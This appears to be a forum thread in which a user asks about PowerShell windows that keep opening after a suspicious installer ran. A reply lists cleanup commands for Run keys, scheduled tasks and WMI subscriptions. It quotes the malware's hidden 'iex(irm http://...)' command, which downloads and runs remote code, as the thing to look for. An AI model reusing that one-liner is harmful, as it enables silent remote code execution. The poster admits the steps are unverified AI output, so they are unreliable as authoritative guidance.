Power shell open by itself and it says: Running the environment check. Please wait... License OK

Question

Power shell open by itself and it says: Running the environment check. Please wait... License OK

- KRZMNİTK - 0

I installed a folder which contains an install.exe from a most probably mirror site. After click that exe windows defender immediately find some threats and ı delete these files. However, after these steps ı am continously getting pop ups form power shell(ı am adding the screenshot of that pop up. While searching for solutions ı coincide with some of past solutions fot this problems so there is a short list of my unsuccesful attempts:

1- full security scan

2-Go to Settings > Apps > Installed apps and look for software you don’t recognize

3-Task Scheduler Library

4-start-up tab in task manager

5- Delete something from registry entry(ı add the screenshot of what ı have deleted)

6-After all steps above ı restart

But problem still occurs. when ı opened my pc again a pop up power shell greeted me again. (Even if ı close, it pop up again in just few minute). Sry for bad English

Edit: after restart approximately one hour later new power shell comment occur. (with the red warning(due to my windows language is in tusrkish error massage in turkish User's image

)) User's image

User's image

Locked Question. You can vote on whether it's helpful, but you can't add comments or replies or follow the question.

Answer recommended by moderator

0 additional answers

Answer 1

while searching for a solution chat gpt make me did something. it seems work for me. ı do not know much about computers so ı asked chat gpt to summarize steps that we have done and below its answer( I AM NOT AWARE OF WHAT DİD THE CODES BELOW DOES AND DO NOT CLEARLY SUGGEST TO FOLLOW THESE STEPS WİTHOUT CHECK BY YOURSELF, However it works for me.)

STEP 1 – Check the Registry Run key

Open PowerShell as Administrator and run:

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

If you see something similar to this:

Windows PowerShell v1.0 powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iex(irm http://...)"

this is malicious.

Remove it with:

reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows PowerShell v1.0" /f

However, removing the registry key alone usually does NOT fix the issue.

STEP 2 – Find what is launching PowerShell (important)

Run this command:

Get-CimInstance Win32_Process | Where-Object {$_.Name -like "powershell*"} | Select Name,ProcessId,ParentProcessId,CommandLine

If the parent process looks like:

svchost.exe -k netsvcs -s Schedule

then PowerShell is being started by the Windows Task Scheduler.

STEP 3 – Find the malicious scheduled task

Run:

Get-ScheduledTask | ForEach-Object { foreach ($a in $.Actions) { "$($.TaskPath)$($_.TaskName) | $($a.Execute) $($a.Arguments)" } }

Look for tasks that launch PowerShell with arguments like:

ExecutionPolicy Bypass WindowStyle Hidden iex(irm http://...)

In my case the malicious task was:

Windows Perflog

which executed:

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iex(irm http://.../task)"

This task name tries to look like a Windows system task but it is not legitimate.

Delete it using:

Unregister-ScheduledTask -TaskName "Windows Perflog" -Confirm:$false

STEP 4 – Check WMI persistence

Some malware uses WMI event subscriptions.

Run:

Get-WmiObject -Namespace root\subscription -Class __EventFilter Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer

If any entry launches PowerShell or contains URLs, it is suspicious.

STEP 5 – Check Startup folders

Check these folders:

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Look for scripts such as:

.ps1 .vbs .bat

STEP 6 – Final check

Verify running PowerShell processes:

Get-CimInstance Win32_Process | Where-Object {$_.Name -like "powershell*"} | Select Name,CommandLine

Only the PowerShell instance you opened manually should appear.

Share via

Power shell open by itself and it says: Running the environment check. Please wait... License OK

0 additional answers